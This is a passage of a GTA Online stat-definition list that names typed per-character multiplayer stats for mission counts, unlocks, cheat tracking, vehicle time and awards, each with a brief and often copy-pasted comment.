MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(bool)CL_PHONE_MECH_DROP_CAR // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(bool)CL_GONE_OFF_RADAR // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(bool)CL_FILL_TITAN // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(bool)CL_MOD_CAR_USING_APP // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(bool)CL_BUY_APPARTMENT // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(bool)CL_BUY_INSURANCE // Add MP0_ or MP1_ // MP - Stores if player has bought insurance +(bool)CL_BUY_GARAGE // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(bool)CL_ENTER_FRIENDS_HOUSE // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(bool)CL_CALL_STRIPPER_HOUSE // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(bool)CL_CALL_FRIEND // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(bool)CL_SEND_FRIEND_REQUEST // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(bool)CL_W_WANTED_PLAYER_TV // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script + + + + + + + + + + + + + + +(int)RANKAP_UNLK_0 // Add MP0_ or MP1_ // MP Char 0 - Rank Apparel Unlock bitset 0 +(int)RANKAP_UNLK_1 // Add MP0_ or MP1_ // MP Char 0 - Rank Apparel Unlock bitset 1 +(int)RANKAP_UNLK_2 // Add MP0_ or MP1_ // MP Char 0 - Rank Apparel Unlock bitset 2 +(int)RANKAP_UNLK_3 // Add MP0_ or MP1_ // MP Char 0 - Rank Apparel Unlock bitset 3 +(int)RANKAP_EQUIP_0 // Add MP0_ or MP1_ // MP Char 0 - Rank Apparel Equipp bitset 0 +(int)RANKAP_EQUIP_1 // Add MP0_ or MP1_ // MP Char 0 - Rank Apparel Equipp bitset 1 +(int)RANKAP_EQUIP_2 // Add MP0_ or MP1_ // MP Char 0 - Rank Apparel Equipp bitset 2 +(int)RANKAP_EQUIP_3 // Add MP0_ or MP1_ // MP Char 0 - Rank farel Equipp bitset 3 +(int)WEAPON_PICKUP_BITSET // Add MP0_ or MP1_ // MP Char 0 - weapon unlock bitset +(int)WEAPON_PICKUP_BITSET2 // Add MP0_ or MP1_ // MP Char 0 - weapon unlock bitset 2 + +(int)CHAR_MISSION_STARTED // Add MP0_ or MP1_ // MP Char 0 - Player missions started +(int)CHAR_MISSION_PASSED // Add MP0_ or MP1_ // MP Char 0 - Player missions passed +(int)CHAR_MISSION_FAILED // Add MP0_ or MP1_ // MP Char 0 - Player missions over +(int)CHAR_MISSION_OVER // Add MP0_ or MP1_ // MP Char 0 - Player missions failed +(int)CHAR_MISSION_QUIT // Add MP0_ or MP1_ // MP Char 0 - Player missions quit + + +(int)CHEAT_MISSION_STARTED // Add MP0_ or MP1_ // MP Char 0 - Player missions started for cheat tracking +(int)CHEAT_MISSION_PASSED // Add MP0_ or MP1_ // MP Char 0 - Player missions passed for cheat tracking +(int)CHEAT_MISSION_FAILED // Add MP0_ or MP1_ // MP Char 0 - Player missions over for cheat tracking +(int)CHEAT_MISSION_OVER // Add MP0_ or MP1_ // MP Char 0 - Player missions failed for cheat tracking + + +(int)CHAR_MC_STARTED // Add MP0_ or MP1_ // MP Char 0 - Player missions started +(int)CHAR_MC_FAILED // Add MP0_ or MP1_ // MP Char 0 - Player missions failed +(int)CHAR_MC_OVER // Add MP0_ or MP1_ // MP Char 0 - Player missions failed + +(bool)CHAR_JOIN_SOCIAL_CLUB_MSG // Add MP0_ or MP1_ // MP Char 0 - Player missions failed + + + + +(int)RESPAWN_PICKUP_BITSET0 // Add MP0_ or MP1_ // MP Char 0 - For Neils respawn pickups to see if they are on or off + + + +(int)CP_STOLEN_TUT // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started CP_STOLEN_TUT script +(int)CP_WELCOMETUT // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started CP_WELCOMETUT script +(int)CP_WEA_AMBUSH // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(int)CR_HOOKER_TUT // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(int)CR_DRUGS_TUT // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(int)CR_RIVAL // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(int)CR_SELLCARTUT // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(int)CR_HOLDUP_TUT // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(int)CR_TRIGGER_TUT // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(int)CR_WELCOME // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(int)CR_GUNSHOPTUT // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(int)CR_ARMORYTUT // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(int)CR_HOSTAGE_STEAL // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(int)CR_STEAL_BIKES // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(int)CR_AIRPORTTAKE // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(int)CR_PROP_TUT // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(int)CR_RACES // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(int)CR_SHIPMENTSTEAL // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(int)CR_SHOWROOM // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(int)CR_STEALVEHICLE // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(int)CR_VANRESCUE // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(int)CR_BANKHEIST1 // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(int)CR_COUNTHEIST1 // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(int)INCR_DEFAULTMISS // Add MP0_ or MP1_ // MP Char 0 - If the game cannot find a mission to increment this one will do +(int)AM_SECURITYVAN // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(int)CR_GANGATTACK_CITY // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(int)CR_GANGATTACK_COUNTRY // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(int)CR_GANGATTACK_LOST // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(int)CR_GANGATTACK_VAGOS // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(int)CR_DIFFERENT_RACES // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(int)CR_DIFFERENT_DM // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script + + +(int)HEIST_COMPLETION // Add MP0_ or MP1_ // MP Char 0 - MISSIONS -Heist Missions completed (%) +(u64)HEIST_TOTAL_TIME // Add MP0_ or MP1_ // MP Char 0 - MISSIONS -Total time spent on Heist +(u64)AVERAGE_HEIST_TIME_TAKEN // Add MP0_ or MP1_ // MP Char 0 - MISSIONS -Average time on a Heist Mission +(int)HEISTS_ORGANISED // Add MP0_ or MP1_ // MP Char 0 - MISSIONS -Number of Heists Organised +(int)AVERAGE_KILL_ON_MISSION // Add MP0_ or MP1_ // MP Char 0 - MISSIONS -Average number of kills on mission +(float)AVERAGE_RANK_GAIN_PER_HOUR // Add MP0_ or MP1_ // MP Char 0 - MISSIONS -Average Rank/ Respect gained per hour +(int)AVERAGE_XP_ON_MISSION // Add MP0_ or MP1_ // MP Char 0 - MISSIONS -Average number of XP gained on mission +(u64)AVERAGE_WANTED_TIME // Add MP0_ or MP1_ // MP Char 0 - PERSONAL -Average wanted level time +(int)HIGHEST_WANTD_LEVEL_ESCAPE // Add MP0_ or MP1_ // MP Char 0 - PERSONAL -Highest wanted level escaped from +(int)AVERAGE_WANTD_LEVEL_ESCAPE // Add MP0_ or MP1_ // MP Char 0 - PERSONAL -Average wanted level escaped from +(int)NUMBER_OF_SESSIONS_FM // Add MP0_ or MP1_ // MP Char 0 - PERSONAL -Average wanted level escaped from +(u64)AVERAGE_TIME_PER_SESSON // Add MP0_ or MP1_ // MP Char 0 - PERSONAL -Average time spent per session +(short)TOTAL_XP_EARNED // Add MP0_ or MP1_ // MP Char 0 - PERSONAL -Total XP accumulated (even after Rank 30) +(short)MISS_XP_EARNED // Add MP0_ or MP1_ // MP Char 0 - PERSONAL -Total XP accumulated (even after Rank 30) +(int)TOTAL_TIMES_ARRESTED // Add MP0_ or MP1_ // MP Char 0 - PERSONAL -Total number of times arrested +(int)TOTAL_NO_SHOPS_HELD_UP // Add MP0_ or MP1_ // MP Char 0 - PERSONAL -Total number of shops held up +(u64)TOTAL_TIME_SPENT_ON_PHONE // Add MP0_ or MP1_ // MP Char 0 - PERSONAL -Total time spent on a phone +(int)JOBS_JOINED_ON_PHONE // Add MP0_ or MP1_ // MP Char 0 - PERSONAL -Total number of jobs joined through the phone +(int)DRUG_DEALING_PROFIT_LOSS // Add MP0_ or MP1_ // MP Char 0 - PERSONAL -Money made or lost as a drug dealer +(int)AVERAGE_EX_GAIN_PER_MINUTE // Add MP0_ or MP1_ // MP Char 0 - PERSONAL -Average XP gained per minute +(u64)AVERAGE_RESPONSE_TIME // Add MP0_ or MP1_ // MP Char 0 - COP -Average response time +(u64)TIME_LAST_WANTED_LEVEL // Add MP0_ or MP1_ // MP Char 0 -The length of time of last wanted level chase +(int)CHEAT_BITSET // Add MP0_ or MP1_ // MP Char 0 - stores if the player cheated with this character +(int)BAD_SPORT_BITSET // Add MP0_ or MP1_ // MP Char 0 - stores if the player cheated with this character +(bool)CHAR_ONMISSION // Add MP0_ or MP1_ // MP Char 0 - Sets to true when the player is on mission +(float)TIME_ON_LOST_BIKE // Add MP0_ or MP1_ // MP Char 0 - time on a lost bike +(int)PARACHUTE_BLACK_DEPLOYED // Add MP0_ or MP1_ // Tracks number of times player deploys coloured smoke while parachuting +(int)PARACHUTE_RED_DEPLOYED // Add MP0_ or MP1_ // Tracks number of times player deploys coloured smoke while parachuting +(int)PARACHUTE_ORANGE_DEPLOYED // Add MP0_ or MP1_ // Tracks number of times player deploys coloured smoke while parachuting +(int)PARACHUTE_YELLOW_DEPLOYED // Add MP0_ or MP1_ // Tracks number of times player deploys coloured smoke while parachuting +(int)PARACHUTE_BLUE_DEPLOYED // Add MP0_ or MP1_ // Tracks number of times player deploys coloured smoke while parachuting + + +(bool)DOES_PLAYER_HAVE_VEH_ACCESS // Add MP0_ or MP1_ // True if the player owns a car. + + + +(float)DDEAL_COKE_QUANTITY // Add MP0_ or MP1_ // Quantity of coke in mp char 0 possession +(float)DDEAL_HEROIN_QUANTITY // Add MP0_ or MP1_ // Quantity of heroin in mp char 0 possession +(float)DDEAL_WEED_QUANTITY // Add MP0_ or MP1_ // Quantity of weed in mp char 0 possession +(float)DDEAL_METH_QUANTITY // Add MP0_ or MP1_ // Quantity of meth in mp char 0 possession +(float)STASHED_COKE_QUANTITY // Add MP0_ or MP1_ // Quantity of coke stashed in mp char 0 personal vehicle +(float)STASHED_HEROIN_QUANTITY // Add MP0_ or MP1_ // Quantity of heroin stashed in mp char 0 personal vehicle +(float)STASHED_WEED_QUANTITY // Add MP0_ or MP1_ // Quantity of weed stashed in mp char 0 personal vehicle +(float)STASHED_METH_QUANTITY // Add MP0_ or MP1_ // Quantity of meth stashed in mp char 0 personal vehicle + +(int)HOLDUPS_BITSET // Add MP0_ or MP1_ // MP Char 0 - Which hold ups have been done already + +(int)AMBIENT_MIS_BS // Add MP0_ or MP1_ // BS to store if player has completed ambient events such as picking up hitchiker + +(int)NON_MISSION_HELP_TEXT // Add MP0_ or MP1_ // Tracks if NMH has been displayed +(int)SPECTATOR_CAM_HELP_TEXT // Add MP0_ or MP1_ // Tracks if NMH has been displayed +(bool)FULLSCREEN_TV_TEXT // Add MP0_ or MP1_ // Tracks if NMH has been displayed +(bool)NEAR_TV_HELP_TEXT // Add MP0_ or MP1_ // Tracks if NMH has been displayed +(bool)TV_SEAT_TEXT // Add MP0_ or MP1_ // Tracks if NMH has been displayed + + +(int)LAST_UNLOCKED_WEAPON // Add MP0_ or MP1_ // Tracks if NMH has been displayed +(int)LAST_UNLOCKED_FM_WEAPON // Add MP0_ or MP1_ // Tracks if NMH has been displayed + + +(string)CONTACT_MISS_0 // Add MP0_ or MP1_ // MP Char 0 - For keith to store Mission contact names +(string)CONTACT_MISS_1 // Add MP0_ or MP1_ // MP Char 0 - For keith to store Mission contact names +(string)CONTACT_MISS_2 // Add MP0_ or MP1_ // MP Char 0 - For keith to store Mission contact names +(string)CONTACT_MISS_3 // Add MP0_ or MP1_ // MP Char 0 - For keith to store Mission contact names +(string)CONTACT_MISS_4 // Add MP0_ or MP1_ // MP Char 0 - For keith to store Mission contact names +(string)CONTACT_MISS_5 // Add MP0_ or MP1_ // MP Char 0 - For keith to store Mission contact names +(string)CONTACT_MISS_6 // Add MP0_ or MP1_ // MP Char 0 - For keith to store Mission contact names +(string)CONTACT_MISS_7 // Add MP0_ or MP1_ // MP Char 0 - For keith to store Mission contact names +(string)CONTACT_MISS_8 // Add MP0_ or MP1_ // MP Char 0 - For keith to store Mission contact names +(string)CONTACT_MISS_9 // Add MP0_ or MP1_ // MP Char 0 - For keith to store Mission contact names + +(int)CONTACT_MISS_RANK // Add MP0_ or MP1_ // Keith - Contact Mission Rank + + +(int)DM_COLLECTED_SHARK_TEST // Add MP0_ or MP1_ // Sets the player to spawn in the secondary position (Boss Room or Locker Room) +(int)DM_COLLECTED_POWER_PLAYER // Add MP0_ or MP1_ // Sets the player to spawn in the secondary position (Boss Room or Locker Room) + + +(int)TUTORIAL_BITSET // Add MP0_ or MP1_ // Tracks if NMH has been displayed + +(bool)USE_SECOND_TUT_SPAWN_POS // Add MP0_ or MP1_ // Sets the player to spawn in the secondary position (Boss Room or Locker Room) + + +(bool)FM_INTRO_CUT_DONE // Add MP0_ or MP1_ // Set when the character has seen the Freemode Intro + + + +(int)FM_NON_MISS_HELP_TEXT // Add MP0_ or MP1_ // Tracks if NMH has been displayed +(int)FM_NON_MS_HELP_TEXT2 // Add MP0_ or MP1_ // Tracks if NMH has been displayed +(int)FM_NON_MS_HELP_TEXT3 // Add MP0_ or MP1_ // Tracks if NMH has been displayed +(int)FM_NON_MS_HELP_TEXT4 // Add MP0_ or MP1_ // Tracks if NMH has been displayed +(int)FM_NON_MS_HELP_TEXT5 // Add MP0_ or MP1_ // Tracks if NMH has been displayed +(int)FM_NON_MS_HELP_GTA1 // Add MP0_ or MP1_ // Tracks if GTA help has been displayed +(pos)FM_SPAWN_POSITION // Add MP0_ or MP1_ // Tracks if NMH has been displayed +(bool)FM_SPAWN_FLAG // Add MP0_ or MP1_ // Tracks if NMH has been displayed +(float)FM_SPAWN_HEADING // Add MP0_ or MP1_ // Tracks if NMH has been displayed + +(bool)FM_CHAR_STATS1 // Add MP0_ or MP1_ // Tracks if NMH has been displayed +(bool)FM_CHAR_STATS2 // Add MP0_ or MP1_ // Tracks if NMH has been displayed + + +(int)FM_CELLPHONE_VIBRATE // Add MP0_ or MP1_ // Import export stats +(int)FM_CELLPHONE_RINGTONE // Add MP0_ or MP1_ // Import export stats + + + +(int)FM_IMP_EXP // Add MP0_ or MP1_ // Import export stats + +(bool)FM_INTRO_MISS_DONE // Add MP0_ or MP1_ // Set when the character completes the FM intro mission + + +(int)FM_ACT_PHN // Add MP0_ or MP1_ // Freemode activity phonecall +(int)FM_ACT_PH2 // Add MP0_ or MP1_ // Freemode activity phonecall +(int)FM_ACT_PH3 // Add MP0_ or MP1_ // Freemode activity phonecall +(int)FM_ACT_PH4 // Add MP0_ or MP1_ // Freemode activity phonecall +(int)FM_ACT_PH5 // Add MP0_ or MP1_ // Freemode activity phonecall +(int)FM_VEH_TX1 // Add MP0_ or MP1_ // Freemode activity phonecall +(int)FM_ACT_PH6 // Add MP0_ or MP1_ // Freemode activity phonecall + + + +(int)DM_START // Add MP0_ or MP1_ // No of death matchs started +(int)DM_END // Add MP0_ or MP1_ // No of death matchs ended + + + +(int)RACE_START // Add MP0_ or MP1_ // No of races started +(int)RACE_END // Add MP0_ or MP1_ // No of races ended + + +(int)MINIGAME_START // Add MP0_ or MP1_ // No of races started +(int)MINIGAME_END // Add MP0_ or MP1_ // No of races ended + + + + + +(bool)FM_TRIGTUT_DONE // Add MP0_ or MP1_ // Set when the character completes the FM trigger tutorial + + +(bool)FM_HOLDTUT_DONE // Add MP0_ or MP1_ // Set when the character completes the FM Hold Up tutorial + + +(bool)FM_CMODTUT_DONE // Add MP0_ or MP1_ // Set when the character completes the FM Car Mod tutorial + + +(bool)FM_NOTUT_DONE // Add MP0_ or MP1_ // Set when the character chooses not to do the tutorials + + + +(bool)FM_RACETUT_DONE // Add MP0_ or MP1_ // Set when the character completes the FM race tutorial +(int)FM_RACEPOSITION // Add MP0_ or MP1_ // Set when the character completes the FM race tutorial + + +(bool)FM_BUYGAR_DONE // Add MP0_ or MP1_ // Set when the character completes the FM race tutorial + + + +(int)HELP_THUMB_VOTE // Add MP0_ or MP1_ // No of times help has been displayed +(int)HELP_BASEJUMP_TEXT // Add MP0_ or MP1_ // No of times help has been displayed +(int)HELP_RACES_TEXT // Add MP0_ or MP1_ // No of times help has been displayed + + +(bool)FM_CHANGECHAR_ASKED // Add MP0_ or MP1_ // Set when the character completes the FM race tutorial + +(int)PLAYER_ANIM_TYPE // Add MP0_ or MP1_ // No of times help has been displayed + + + +(u64)TIMEINHELI // Add MP0_ or MP1_ // MP Char 0 - Time spent being a passenger in Milliseconds +(u64)TIMEWITHOUTCRASHING // Add MP0_ or MP1_ // MP Char 0 - Time spent being a passenger in Milliseconds +(u64)TIME_AS_A_PASSENGER // Add MP0_ or MP1_ // MP Char 0 - - Vehicles-Time spent as a passenger +(u64)TIME_AS_A_DRIVER // Add MP0_ or MP1_ // MP Char 0 - Vehicles- Time spent as a driver +(u64)TIME_SPENT_FLYING // Add MP0_ or MP1_ // MP Char 0 -Vehicles- Time spent flying an aircraft +(u64)TIME_IN_CAR // Add MP0_ or MP1_ // MP Char 0 -Vehicles- Time spent inside your car + + +(int)CHAR_CREATOR_STAMINA // Add MP0_ or MP1_ // Character creator stamina +(int)CHAR_CREATOR_SHOOTING // Add MP0_ or MP1_ // Character creator shooting +(int)CHAR_CREATOR_STRENGTH // Add MP0_ or MP1_ // Character creator strength +(int)CHAR_CREATOR_STEALTH // Add MP0_ or MP1_ // Character creator stealth +(int)CHAR_CREATOR_FLYING // Add MP0_ or MP1_ // Character creator flying +(int)CHAR_CREATOR_BIKE // Add MP0_ or MP1_ // Character creator bike +(int)CHAR_CREATOR_LUNG // Add MP0_ or MP1_ // Character creator lung +(int)CHAR_CREATOR_MECHANIC // Add MP0_ or MP1_ // Character creator mechanic + + +(int)NO_WEAPONS_UNLOCK // Add MP0_ or MP1_ // No of items unlocked +(int)NO_WEAPON_MODS_UNLOCK // Add MP0_ or MP1_ // No of items unlocked +(int)NO_WEAPON_CLR_MOD_UNLOCK // Add MP0_ or MP1_ // No of items unlocked + +(int)NO_VEHICLE_MODS_UNLOCK // Add MP0_ or MP1_ // No of items unlocked +(int)NO_CLOTHES_UNLOCK // Add MP0_ or MP1_ // No of items unlocked +(int)NO_HAIR_UNLOCK // Add MP0_ or MP1_ // No of items unlocked +(int)NO_TATTOOS_UNLOCK // Add MP0_ or MP1_ // No of items unlocked +(int)NO_PROPERTIES_UNLOCK // Add MP0_ or MP1_ // No of items unlocked +(int)NO_AWARDS_UNLOCK // Add MP0_ or MP1_ // No of items unlocked +(int)NO_DRUG_CAPACITY_UNLOCK // Add MP0_ or MP1_ // No of items unlocked + +(int)NO_MASKS_UNLOCK // Add MP0_ or MP1_ // No of items unlocked +(int)NO_MAKEUP_UNLOCK // Add MP0_ or MP1_ // No of items unlocked + + +(u64)AWD_PASSENGERTIME // Add MP0_ or MP1_ // MP Char 0 - Time spent being a passenger in minutes Award +(int)AWD_100_KILLS_PISTOL // Add MP0_ or MP1_ // MP Char 0 - 100 Kills with a pistol - VAGOS - Award LOST MC - Award COP- N/A +(int)AWD_100_KILLS_SNIPER // Add MP0_ or MP1_ // MP Char 0 - 100 Kills with a sniper rifle - VAGOS - Award LOST MC - Award COP- N/A +(int)AWD_50_KILLS_GRENADES // Add MP0_ or MP1_ // MP Char 0 - 50 Kills with grenades - VAGOS - Award LOST MC - Award COP- N/A +(int)AWD_100_KILLS_SHOTGUN // Add MP0_ or MP1_ // MP Char 0 - 100 Kills with a shotgun rifle - VAGOS - Award LOST MC - Award COP- N/A +(int)AWD_100_KILLS_SMG // Add MP0_ or MP1_ // MP Char 0 - 100 Kills with an SMG - VAGOS - Award LOST MC - Award COP- N/A +(int)AWD_50_KILLS_ROCKETLAUNCH // Add MP0_ or MP1_ // MP Char 0 - 50 Kills with a Rocketlauncher - VAGOS - Award LOST MC - Award COP- N/A +(int)AWD_25_KILLS_STICKYBOMBS // Add MP0_ or MP1_ // MP Char 0 - 50 Kills with sticky bombs - VAGOS - Award LOST MC - Award COP- N/A +(int)AWD_20_KILLS_MELEE // Add MP0_ or MP1_ // MP Char 0 - 20 Kills with melee weapons -VAGOS - N/A LOST MC - Award COP- N/A +(int)AWD_100_HEADSHOTS // Add MP0_ or MP1_ // MP Char 0 - 100 headshot kills - VAGOS - N/A LOST MC - Award COP- N/A +(int)AWD_50_VEHICLES_BLOWNUP // Add MP0_ or MP1_ // MP Char 0 - 50 vehicles blownup - VAGOS - N/A LOST MC - Award COP- N/A +(int)AWD_VEHICLES_JACKEDR // Add MP0_ or MP1_ // MP Char 0 - award given reaching 10/25/50/100 vehicles jacked - VAGOS -AWARD LOST MC - N/A COP- N/A +(int)AWD_ENEMYDRIVEBYKILLS // Add MP0_ or MP1_ // MP Char 0 - award given reaching 10 enemy driveby kills - VAGOS -AWARD LOST MC - AWARD COP- N/A +(int)AWD_COPS_KILLED // Add MP0_ or MP1_ // MP Char 0 - award given reaching 10/25/50/100/200 enemy driveby kills - VAGOS -AWARD LOST MC - AWARD COP- N/A +(bool)AWD_BUY_EVERY_GUN // Add MP0_ or MP1_ // MP Char 0 -Award when buying every gun - VAGOS -AWARD LOST MC - AWARD COP- N/A +(int)AWD_HOLD_UP_SHOPS // Add MP0_ or MP1_ // MP Char 0 -Award for holding up all shops award given reaching 1/6/12/19 - VAGOS -Tattoo LOST MC - Patch COP- N/A +(int)AWD_LAPDANCES // Add MP0_ or MP1_ // MP Char 0 -Award for no. Lapdances paid for - VAGOS -Award LOST MC - Award COP- NA +(bool)AWD_DRIVE_ALL_COP_CARS // Add MP0_ or MP1_ // MP Char 0 -Award for driving all cop cars - VAGOS -NA LOST MC - NA COP- AWARD +(u64)AWD_TIME_IN_HELICOPTER // Add MP0_ or MP1_ // MP Char 0 -Awards for time spent in helicopter Denomitators of 10/25/50/- VAGOS -AWARDLOST MC - AWARD COP- AWARD +(int)AWD_CARS_EXPORTED // Add MP0_ or MP1_ // MP Char 0 -Awards for number of car deliveries at car export Denomitators of 1/5/10/25/50 VAGOS -AWARDLOST MC - AWARD COP- NA +(int)AWD_SECURITY_CARS_ROBBED // Add MP0_ or MP1_ // MP Char 0 -Awards for number of security cars robbed Denomitators of 1/5/10/25/50 VAGOS -AWARDLOST MC - AWARD COP- NA +(int)AWD_5STAR_WANTED_AVOIDANCE // Add MP0_ or MP1_ // MP Char 0 -Awards for number of times avoiding 5 star wanted level Denomitators of 1/5/10/25/50/100 VAGOS -AWARDLOST MC - AWARD COP- NA +(int)AWD_VEHICLE_JUMP_OVER_40M // Add MP0_ or MP1_ // MP Char 0 -Awards for number of times jumping a vehicle over 40 metres Denomitators of 1/5/10/25/50 VAGOS -AWARDLOST MC - AWARD COP- AWARD +(int)AWD_RACES_WON // Add MP0_ or MP1_ // MP Char 0 -Awards for number of times player wins a race Denomitators of 1/5/10/25/50/100 VAGOS -TATTOOLOST MC - PATCH COP- MEDAL +(int)AWD_NO_ARMWRESTLING_WINS // Add MP0_ or MP1_ // MP Char 0 -Awards for number of times you killed every member of a gang in one mission of 1/5/10/20 VAGOS -TATTOOLOST MC - PATCH COP- MEDAL +(int)AWD_WIN_AT_DARTS // Add MP0_ or MP1_ // MP Char 1 - Number of dart wins 1 10 25 50VAGOS -TATLOST MC - PATCH COP- NA +(int)AWD_CAR_BOMBS_ENEMY_KILLS // Add MP0_ or MP1_ // MP Char 1 - Number of enemies killed using car bombs 1 5 10 25 VAGOS -TATLOST MC - PATCH COP- NA +(int)AWD_KILLS_ASSAULT_RIFLE // Add MP0_ or MP1_ // MP Char 1 - Award for kills with assualt rifle 10 25 50 100 VAGOS -TATLOST MC - PATCH COP- NA +(int)AWD_KILLS_MACHINEGUN // Add MP0_ or MP1_ // MP Char 1 - Award for machine gun kills 10 25 50 100 VAGOS -TATLOST MC - PATCH COP- NA +(int)AWD_NO_HAIRCUTS // Add MP0_ or MP1_ // MP Char 1 - Number of haircuts 1 5 10 25 VAGOS -TATLOST MC - PATCH COP- MEDAL +(int)AWD_PARACHUTE_JUMPS_50M // Add MP0_ or MP1_ // MP Char 1 - Number of parachute jumps over 50m 1 10 25 50VAGOS -TATLOST MC - PATCH COP- MEDAL +(int)AWD_PARACHUTE_JUMPS_20M // Add MP0_ or MP1_ // MP Char 1 - Number of parachute jumps below 20m + + +(bool)AWD_FM_GOLF_HOLE_IN_1 // Add MP0_ or MP1_ // Game awards +(int)AWD_FM_GOLF_BIRDIES // Add MP0_ or MP1_ // Game awards +(int)AWD_FM_GOLF_WON // Add MP0_ or MP1_ // Game awards +(int)AWD_FM_SHOOTRANG_TG_WON // Add MP0_ or MP1_ // Game awards +(int)AWD_FM_SHOOTRANG_RT_WON // Add MP0_ or MP1_ // Game awards +(int)AWD_FM_SHOOTRANG_CT_WON // Add MP0_ or MP1_ // Game awards +(bool)AWD_FM_SHOOTRANG_GRAN_WON // Add MP0_ or MP1_ // Game awards +(int)AWD_FM_TENNIS_WON // Add MP0_ or MP1_ // Game awards +(int)AWD_FM_TENNIS_ACE // Add MP0_ or MP1_ // Game awards +(bool)AWD_FM_TENNIS_5_SET_WINS // Add MP0_ or MP1_ // Game awards +(bool)AWD_FM_TENNIS_STASETWIN // Add MP0_ or MP1_ // Game awards +(int)AWD_FM_GTA_RACES_WON // Add MP0_ or MP1_ // Game awards +(int)AWD_FM_RACES_FASTEST_LAP // Add MP0_ or MP1_ // Game awards +(int)AWD_FM_RACE_LAST_FIRST // Add MP0_ or MP1_ // Game awards +(int)AWD_FM_DM_WINS // Add MP0_ or MP1_ // Game awards +(int)AWD_FM_TDM_WINS // Add MP0_ or MP1_ // Game awards +(int)AWD_FM_TDM_MVP // Add MP0_ or MP1_ // Game awards +(int)AWD_FM_DM_KILLSTREAK // Add MP0_ or MP1_ // Game awards +(int)AWD_FM_DM_TOTALKILLS // Add MP0_ or MP1_ // Game awards +(int)AWD_FM_DM_3KILLSAMEGUY // Add MP0_ or MP1_ // Game awards +(int)AWD_FM_DM_STOLENKILL // Add MP0_ or MP1_ // Game awards +(bool)AWD_FMATTGANGHQ // Add MP0_ or MP1_ // Clear all gang hideouts in one game day +(int)AWD_FMBASEJMP // Add MP0_ or MP1_ // Land away from the target centre times +(int)AWD_FMHORDWAVESSURVIVE // Add MP0_ or MP1_ // Reach wave without dying. +(int)AWD_FMBBETWIN // Add MP0_ or MP1_ // Earn amount of cash from betting +(int)AWD_FMCRATEDROPS // Add MP0_ or MP1_ // Game Awards +(bool)AWD_FM6DARTCHKOUT // Add MP0_ or MP1_ // Game Awards +(bool)AWD_FMWINEVERYGAMEMODE // Add MP0_ or MP1_ // Get all the services +(bool)AWD_FMPICKUPDLCCRATE1ST // Add MP0_ or MP1_ // Get all the services +(bool)AWD_FMWINALLRACEMODES // Add MP0_ or MP1_ // Get all the services +(bool)AWD_FMRACEWORLDRECHOLDER // Add MP0_ or MP1_ // Get all the services +(int)AWD_FMRALLYWONDRIVE // Add MP0_ or MP1_ // Get all the services +(int)AWD_FMRALLYWONNAV // Add MP0_ or MP1_ // Get all the services +(bool)AWD_FM25DIFITEMSCLOTHES // Add MP0_ or MP1_ // Get all the services +(bool)AWD_FMFULLYMODDEDCAR // Add MP0_ or MP1_ // Get all the services +(bool)AWD_FMWINCUSTOMRACE // Add MP0_ or MP1_ // Get all the services +(bool)AWD_FM25DIFFERENTDM // Add MP0_ or MP1_ // Get all the services +(bool)AWD_FM25DIFFERENTRACES // Add MP0_ or MP1_ // Get all the services +(bool)AWD_FMMOSTKILLSGANGHIDE // Add MP0_ or MP1_ // Get all the services +(bool)AWD_FMMOSTKILLSSURVIVE // Add MP0_ or MP1_ // Get all the services +(int)AWD_FMSHOOTDOWNCOPHELI // Add MP0_ or MP1_ // Get all the services +(bool)AWD_FMKILLCHEATER // Add MP0_ or MP1_ // Get all the services +(bool)AWD_FMKILL3ANDWINGTARACE // Add MP0_ or MP1_ // Get all the services +(bool)AWD_FMTATTOOALLBODYPARTS // Add MP0_ or MP1_ // Get all the services +(int)AWD_FMWINRACETOPOINTS // Add MP0_ or MP1_ // Get all the services +(int)AWD_FMKILLBOUNTY // Add MP0_ or MP1_ // Get all the services 